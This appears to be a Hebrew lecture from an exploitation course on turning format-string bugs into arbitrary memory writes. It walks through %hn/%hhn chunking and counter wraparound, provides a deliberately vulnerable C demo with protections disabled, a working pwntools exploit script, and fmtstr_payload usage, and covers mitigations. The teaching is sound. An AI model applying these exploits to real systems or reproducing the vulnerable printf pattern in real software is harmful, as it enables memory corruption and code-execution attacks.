לדלג לתוכן

5.3 כתיבה שרירותית עם n הרצאה

בשיעור הקודם ראינו איך חולשת format string נותנת לנו קריאה שרירותית מהזיכרון: עם %s ו-%p באינדקס הנכון אפשר לדלוף כתובות, לעקוף ASLR ולהבין את מפת הזיכרון של התהליך. עכשיו נסגור את המעגל ונעבור מקריאה לכתיבה. הספציפייר %n הוא הפרימיטיב שהופך באג "תמים" של הדפסה למכונת כתיבה לכל כתובת שנרצה, עם כל ערך שנרצה. זה הפרימיטיב שממנו נבנה בשיעור הבא דריסת GOT וחטיפת זרימת ההרצה, אבל קודם צריך להשתלט על המכניקה עצמה.

בהרצאה הזו נבנה את הפרימיטיב צעד אחר צעד: נבין מה %n באמת עושה, למה כתיבה נאיבית בלתי אפשרית, איך %hn ו-%hhn פותרים את זה, איך שולטים בערך המדויק עם רוחב שדה, איך כותבים כתובת שלמה של 8 בתים בנתחים, ולבסוף איך pwntools מייצר את כל זה בשורה אחת.

מ-%n לכתיבה שרירותית - the write primitive

תזכורת קצרה: כשקוראים ל-printf(buf) וה-buf בשליטת התוקף, printf מפרש את הקלט שלנו כמחרוזת format. כל ספציפייר צורך "ארגומנט" - וכשאין ארגומנטים אמיתיים, printf שולפת ערכים מהרגיסטרים ומהמחסנית. ב-x86-64 חמשת הארגומנטים הראשונים מגיעים מ-rsi, rdx, rcx, r8, r9, ומהארגומנט השישי והלאה מהמחסנית. בשיעור הקודם ניצלנו את זה כדי לקרוא. עכשיו ננצל את זה כדי לכתוב.

הנה ההתנהגות הרשמית של %n, כמו שהיא מוגדרת ב-C:

int n;
printf("hello%n world\n", &n);
// after the call: n == 5, because five characters ("hello") were printed before the %n

שימו לב: %n לא מדפיס כלום. הוא לוקח מצביע (int*), וכותב אליו את מספר התווים שהודפסו עד לרגע הזה. זה כל הסוד. בקוד תקין המצביע הוא כתובת חוקית שהמתכנת התכוון אליה. בחולשת format string אין ארגומנט אמיתי, אז %n לוקח את המצביע מהמחסנית - ואם אנחנו שולטים בבתים שיושבים שם, אנחנו שולטים לאן הכתיבה הולכת.

printf(buf)  when  buf = "AAAA%6$n"

The stack at the time of the call to printf:
+------------------+
| arg 6  = ????    |  <-- %6$n will write to the address sitting here
+------------------+
| arg 7  = ????    |
+------------------+
      ...

אם נדאג שהכתובת שאנחנו רוצים לכתוב אליה תשב בדיוק במקום שהאינדקס מצביע עליו, %n יכתוב לשם. זהו הגרעין של כתיבה שרירותית - arbitrary write.

בעיית הגודל - למה כתיבה נאיבית לא עובדת

נניח שאנחנו רוצים לכתוב את הערך 0x400000 לכתובת מסוימת. %n כותב את מספר התווים שהודפסו - אז נצטרך להדפיס 0x400000 תווים, כלומר יותר מארבעה מיליון. זה איטי, זה מנפח את הפלט, ולפעמים הbuffer בכלל לא יכול להכיל מחרוזת כזו.

עכשיו נסו לדמיין שאנחנו רוצים לכתוב כתובת מלאה של libc, משהו כמו 0x00007ffff7a52290. כדי להדפיס כל כך הרבה תווים נצטרך זמן גאולוגי - זה פשוט לא מעשי. אנחנו חייבים דרך לכתוב ערכים גדולים בלי להדפיס מיליארדי תווים.

כתיבה בנתחים - %hn ו-%hhn

הפתרון: לא כותבים 4 בתים בבת אחת. כותבים חתיכות קטנות. בדיוק כמו שיש %hd להדפסת short, יש גרסאות "קצרות" של %n:

  • הספציפייר %n כותב int שלם, כלומר 4 בתים.
  • הספציפייר %hn כותב short, כלומר 2 בתים בלבד (16 ביט).
  • הספציפייר %hhn כותב char, כלומר בית אחד בלבד (8 ביט).

המשמעות: עם %hn הערך המקסימלי שנצטרך "לספור אליו" הוא 0xffff = 65535 תווים. הרבה, אבל לגמרי אפשרי. עם %hhn המקסימום לכל כתיבה הוא 0xff = 255 תווים בלבד. לכן במקום לכתוב ערך גדול בבת אחת, מפרקים אותו לחתיכות של 2 בתים (או בית) וכותבים כל חתיכה לכתובת שלה.

Writing the value 0xdeadbeef to address A (using %hn, two chunks):

  A+0 -->  0xbeef   (the two low bytes)
  A+2 -->  0xdead   (the two high bytes)

little-endian, so A+0 holds the low bytes.

בכתיבה של כתובת שלמה בת 8 בתים בשיטת %hn נשתמש בארבע כתיבות: A+0, A+2, A+4, A+6. בשיטת %hhn נשתמש בשמונה כתיבות, אחת לכל בית. למה בכלל להתעסק עם %hhn אם %hn דורש פחות כתיבות? כי ככל שהנתח קטן יותר, המונה שאנחנו צריכים להגיע אליו קטן יותר, והפלט קצר יותר. עוד יתרון: אם יש null בתים בכתובת היעד, כתיבה של בית בודד מאפשרת לדלג עליהם בקלות.

שליטה בערך עם רוחב שדה - width specifier

איך גורמים ל-printf להדפיס בדיוק מספר תווים מסוים לפני ה-%n? עם רוחב שדה. הכתיב %100c מדפיס תו אחד מרופד ל-100 עמדות, כלומר 100 תווים בסך הכל. ככה שולטים במונה:

printf("%100c");   // prints 100 characters (99 spaces + one character)

עכשיו נחבר את שני החלקים. הצורה הסטנדרטית של כתיבה בודדת היא:

%<width>c%<index>$hn
   |         |
   |         +-- write the counter to the address at argument <index>
   +-- print <width> characters to bring the counter to the desired value

לדוגמה %48879c%11$hn אומר: הדפס 48879 תווים (0xbeef), ואז כתוב את המונה (שהוא כרגע 0xbeef) לכתובת שיושבת בארגומנט 11. אם דאגנו שבארגומנט 11 תשב הכתובת A, כתבנו 0xbeef ל-A.

סדר עולה וגלישת מונה - increasing order and wraparound

הנה הנקודה העדינה ביותר בכל הטכניקה. המונה של printf רק עולה. אי אפשר להדפיס מספר שלילי של תווים. אז כשכותבים כמה נתחים באותה קריאת printf, חייבים לסדר אותם כך שכל נתח דורש מונה גדול או שווה לקודם.

לכן ממיינים את הנתחים לפי הערך שרוצים לכתוב, בסדר עולה, ובין נתח לנתח מדפיסים רק את ההפרש (delta). נחזור לדוגמה 0xdeadbeef בשיטת %hn:

chunk  address  desired value   sorted   diff to print   instruction
low    A+0     0xbeef=48879   1        48879       %48879c%<idx0>$hn
high   A+2     0xdead=57005   2        8126        %8126c%<idx1>$hn

counter: 0 -> 48879 (write to A+0) -> 57005 (write to A+2)

מיינו לפי הערך: 0xbeef (48879) קטן מ-0xdead (57005), אז קודם כותבים את הנתח הנמוך. אחרי הכתיבה הראשונה המונה עומד על 48879, ואנחנו מוסיפים עוד 57005 - 48879 = 8126 תווים כדי להגיע ל-57005 לפני הכתיבה השנייה.

מה קורה אם הערך הבא קטן מהמונה הנוכחי? למשל, אם צריך לכתוב 0x0100 אחרי שכבר הדפסנו 48879 תווים. כאן נכנס טריק הoverflow: %hn כותב רק 16 ביט, כלומר את המונה modulo 0x10000. אז מוסיפים מחזור שלם: מדפיסים עד שהמונה מגיע ל-0x10000 + 0x0100, וה-%hn יכתוב 0x0100 (הביטים הנמוכים). בשיטת %hhn (בית) מוסיפים 0x100 באותו רעיון. זה בדיוק מה שמאפשר לנו לכתוב כל שילוב של ערכים בכל סדר - תמיד ממשיכים לספר קדימה וגולשים כשצריך.

פריסת ה-payload ב-64 ביט - null bytes ומיקום הכתובות

יש עוד מכשול שקשור ספציפית ל-x86-64. הכתובות שאנחנו כותבים אליהן מכילות null בתים. למשל כתובת של משתנה גלובלי בבינארי בלי PIE נראית כמו 0x0000000000601040, שהיא ב-little-endian הבתים \x40\x10\x60\x00\x00\x00\x00\x00. הבעיה: printf מתייחסת ל-buf כמחרוזת C, וה-null בית הראשון מסיים את מחרוזת הformat. אם נשים את הכתובת בתחילת ה-payload, כל הספציפיירים שאחריה לעולם לא יעובדו.

הפתרון הסטנדרטי ב-64 ביט: שמים את כל הספציפיירים בהתחלה, ואת בלוק הכתובות בסוף. הספציפיירים הם ASCII נקי בלי null בתים, אז printf מעבדת אותם עד הסוף ומבצעת את כל כתיבות ה-%n. רק אז היא מגיעה לבלוק הכתובות, ונעצרת ב-null הראשון - אבל בשלב הזה כל הכתיבות כבר בוצעו, אז לא אכפת לנו.

Layout of the payload on 64-bit:
+-----------------------------------------+
| specifier part: %..c%idx$hn%..c%idx$hn  | <-- ASCII, no null
+-----------------------------------------+
| padding for alignment of 8               |
+-----------------------------------------+
| p64(A+0)  <- idx0 points here            | \
| p64(A+2)  <- idx1 points here            |  > address block (contains null)
+-----------------------------------------+ /

יש כאן ביצה ותרנגולת: האינדקס של בלוק הכתובות תלוי באורך חלק הספציפיירים (כמה qwords הוא תופס), ואילו חלק הספציפיירים מכיל את האינדקסים. הפתרון: מרפדים את חלק הספציפיירים לאורך קבוע (כפולה של 8), וכך האינדקס של הכתובת הראשונה הוא offset + מספר_ה-qwords_של_חלק_הformat, כאשר offset הוא האינדקס שבו הקלט שלנו מתחיל על המחסנית (מצאנו אותו בשיעור הקודם עם %p).

דוגמה מלאה בידיים - manual exploit

בואו נבנה הכל על בינארי דמו קונקרטי. שמרו כ-fmt.c:

#include <stdio.h>

long target = 0;   // the target: write an exact value here

int main(void) {
    char buf[256];
    printf("target @ %p\n", (void*)&target);  // leaks so we can focus on the write
    fgets(buf, sizeof(buf), stdin);
    printf(buf);                               // the vulnerability
    printf("target = %#lx\n", target);
    return 0;
}

קומפילציה. שימו לב להנחות ההגנה שאנחנו קובעים במפורש:

gcc -fno-stack-protector -no-pie -O0 -o fmt fmt.c
  • הדגל -no-pie נותן ל-target כתובת קבועה, אז נוכל לשלוף אותה עם nm ולא להיאבק ב-ASLR של הקוד.
  • הדגל -fno-stack-protector פשוט מנקה רעש; הcanary לא רלוונטי כי אנחנו לא דורסים return address.
  • ב--O0 בלי _FORTIFY_SOURCE, glibc מרשה %n על מחרוזת format שיושבת בזיכרון כתיב (המחסנית). זו נקודה חשובה - נחזור אליה בסוף.

בדיקת ההגנות:

$ checksec --file=./fmt
RELRO           STACK CANARY   NX            PIE
Partial RELRO   No canary      NX enabled    No PIE

כתובת ה-target:

$ nm fmt | grep ' target'
0000000000404050 B target

מציאת ה-offset. שולחים תבנית ובודקים באיזה אינדקס הקלט שלנו מופיע:

$ python3 -c "print('AAAAAAAA' + '.%p'*10)" | ./fmt
target @ 0x404050
AAAAAAAA.0x7fff...  ...  .0x4141414141414141.0x2e70252e...

ה-0x4141414141414141 (שמונה תווי A) הופיע באינדקס השישי של ה-%p-ים, כלומר ה-offset שלנו הוא 6. עכשיו נבנה בידיים את ה-payload שכותב 0xdeadbeef ל-target:

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./fmt')

target = elf.symbols['target']    # 0x404050, fixed since there's no PIE
value  = 0xdeadbeef
offset = 6                        # found with %p

# split into two 16-bit chunks and sort by value in ascending order
halves = [(target + 0, value & 0xffff),
          (target + 2, (value >> 16) & 0xffff)]
halves.sort(key=lambda t: t[1])

# pad the specifier part to 5 qwords (40 bytes). This is safe - our part is shorter than that.
FMT_QWORDS = 5
addr_index = offset + FMT_QWORDS          # the index of the first address in the block

fmt = b''
printed = 0
for i, (addr, chunk) in enumerate(halves):
    delta = (chunk - printed) % 0x10000   # wraps around if the value is smaller than the counter
    if delta == 0:
        delta = 0x10000                   # don't print 0, write a full cycle
    fmt += f'%{delta}c%{addr_index + i}$hn'.encode()
    printed += delta

fmt = fmt.ljust(FMT_QWORDS * 8, b'a')     # padding for alignment, the index stays stable
payload = fmt + b''.join(p64(a) for a, _ in halves)

p = process('./fmt')
p.recvline()                              # the "target @ ..." line
p.sendline(payload)
print(p.recvall(timeout=2).decode())

הפלט (בהתעלם מים התווים שהודפסו כpadding):

target = 0xdeadbeef

הצלחנו לכתוב ערך מדויק לכתובת שבחרנו, בלי לגעת בreturn address או בcanary. זה כל היופי של הפרימיטיב הזה - הוא מדויק ושקט.

אוטומציה עם fmtstr_payload

הבנייה הידנית חשובה כדי להבין מה קורה מתחת למכסה המנוע, אבל בפועל אף אחד לא סופר בתים בעצמו. הספרייה pwntools נותנת פונקציה שעושה בדיוק את כל זה: מפרקת לנתחים, ממיינת בסדר עולה, מטפלת בoverflows, מרפדת לalignment, ומצמידה את בלוק הכתובות בסוף. הפונקציה היא fmtstr_payload:

from pwn import *

context.binary = elf = ELF('./fmt')

# offset = the index where our input starts (we found: 6)
# writes = a dict of {address: value}
payload = fmtstr_payload(6, {elf.symbols['target']: 0xdeadbeef},
                         write_size='short')   # 'short' => %hn

p = process('./fmt')
p.recvline()
p.sendline(payload)
print(p.recvall(timeout=2).decode())

הפרמטרים החשובים:

  • הארגומנט offset הוא האינדקס שבו ה-payload שלנו מתחיל על המחסנית.
  • הארגומנט writes הוא מילון {addr: value} - אפשר לבקש כמה כתיבות בבת אחת, ל-fmtstr_payload ידאג לסדר.
  • הפרמטר write_size קובע את גודל הנתח: 'byte' ל-%hhn (ברירת המחדל), 'short' ל-%hn, 'int' ל-%n.
  • הפרמטר numbwritten אומר כמה תווים כבר הודפסו לפני מחרוזת הformat שלנו (למשל אם התוכנית הדפיסה "Value: " קודם). זה מכייל את המונה נכון.

כדי לכתוב כתובת שלמה של 8 בתים, פשוט נותנים ל-fmtstr_payload את הערך המלא, והוא יפרק אותו לנתחים בסדר עולה בשבילנו:

libc_func = 0x7ffff7a52290
payload = fmtstr_payload(6, {elf.symbols['some_ptr']: libc_func},
                         write_size='short')
# behind the scenes: four %hn writes to some_ptr+0/+2/+4/+6, sorted and wrapping as needed

יש גם עטיפה ברמה גבוהה יותר, FmtStr, שמגלה את ה-offset לבד ומצברת כתיבות. שימושי כשעושים כמה כתיבות אינטראקטיביות מול אותו תהליך:

def execute_fmt(payload):
    p = process('./fmt')
    p.recvline()
    p.sendline(payload)
    return p.recvall(timeout=2)

fmt = FmtStr(execute_fmt)          # discovers the offset automatically
fmt.write(elf.symbols['target'], 0xdeadbeef)
fmt.execute_writes()

הנחות והגנות - protections

חשוב לדעת מתי הטכניקה הזו עובדת ומתי לא:

  • ההגנה NX לא רלוונטית כאן. אנחנו לא מריצים קוד על המחסנית, רק כותבים נתונים. %n עובד מצוין גם עם NX פעיל.
  • ההגנה ASLR ו-PIE כן רלוונטיות: כדי לכתוב ל-target צריך לדעת את כתובתו. במשתנה גלובלי בבינארי בלי PIE הכתובת קבועה. עם PIE, צריך קודם לדלוף כתובת (בדיוק מה שלמדנו בשיעור הקריאה) ולחשב את הבסיס.
  • ההגנה RELRO משפיעה על היעד. עם Full RELRO ה-GOT הוא read-only ולא נוכל לכתוב אליו - נצטרך יעד כתיב אחר (מצביע פונקציה, __malloc_hook בגרסאות ישנות, מבנה נתונים של התוכנית). את דריסת ה-GOT עצמה נלמד בשיעור הבא, בהנחה של Partial RELRO.
  • הגנה חשובה שקל לפספס: glibc חוסמת %n כשמחרוזת הformat יושבת בזיכרון כתיב ובינארי הודר עם _FORTIFY_SOURCE (למשל gcc -O2 -D_FORTIFY_SOURCE=2). במקרה כזה התוכנית תיפול עם הודעה כמו *** %n in writable segment detected ***. לכן לצורך הלימוד קימפלנו ב--O0 בלי fortify. בעולם האמיתי, אם ה-fortify פעיל, %n לא יעבוד ותצטרכו וקטור אחר.

סיכום

  • הספציפייר %n כותב את מספר התווים שהודפסו עד כה לכתובת שנשלפת מהמחסנית, וזה הפרימיטיב של כתיבה שרירותית.
  • כתיבה נאיבית של ערך גדול דורשת הדפסת מיליוני תווים, ולכן מפרקים לנתחים עם %hn (2 בתים) ו-%hhn (בית אחד).
  • ברוחב שדה כמו %100c שולטים בערך המדויק של המונה לפני כל %n.
  • המונה רק עולה, לכן ממיינים את הנתחים בסדר עולה לפי הערך ומדפיסים הפרשים; כשצריך ערך קטן יותר, גולשים במחזור שלם (0x10000 ל-%hn, 0x100 ל-%hhn).
  • כותבים כתובת שלמה של 8 בתים בארבעה נתחים של %hn לכתובות A+0, A+2, A+4, A+6, בסדר עולה.
  • ב-64 ביט שמים את הספציפיירים בהתחלה ואת בלוק הכתובות בסוף, כדי ש-null בתים לא יקטעו את מחרוזת הformat.
  • הפונקציה fmtstr_payload(offset, {addr: value}, write_size=...) עושה את כל העבודה השחורה, ו-FmtStr אפילו מגלה את ה-offset לבד.
  • הטכניקה עובדת עם NX, אבל דורשת ידיעת כתובת היעד (זהירות מ-PIE/ASLR), יעד כתיב (זהירות מ-RELRO), ומחרוזת format שלא נחסמת על ידי _FORTIFY_SOURCE.